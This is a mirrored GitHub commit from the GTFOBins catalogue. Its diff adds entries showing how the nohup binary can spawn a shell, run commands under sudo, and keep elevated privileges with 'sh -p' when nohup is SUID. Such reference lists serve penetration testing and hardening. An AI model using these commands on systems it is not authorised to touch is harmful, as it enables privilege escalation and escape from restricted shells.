mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 08:48:54 +01:00 
			
		
		
		
	Add (suid) shell for nohup
This commit is contained in:
		| @@ -1,13 +1,14 @@ | ||||
| --- | ||||
| functions: | ||||
|   shell: | ||||
|     - code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)" | ||||
|   command: | ||||
|     - code: | | ||||
|         COMMAND='/usr/bin/id' | ||||
|         nohup "$COMMAND" | ||||
|         cat nohup.out | ||||
|   sudo: | ||||
|     - code: | | ||||
|         COMMAND='/usr/bin/id' | ||||
|         sudo nohup "$COMMAND" | ||||
|         sudo cat nohup.out | ||||
|     - code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)" | ||||
|   suid: | ||||
|     - code: sudo nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)" | ||||
| --- | ||||
|   | ||||
		Reference in New Issue
	
	Block a user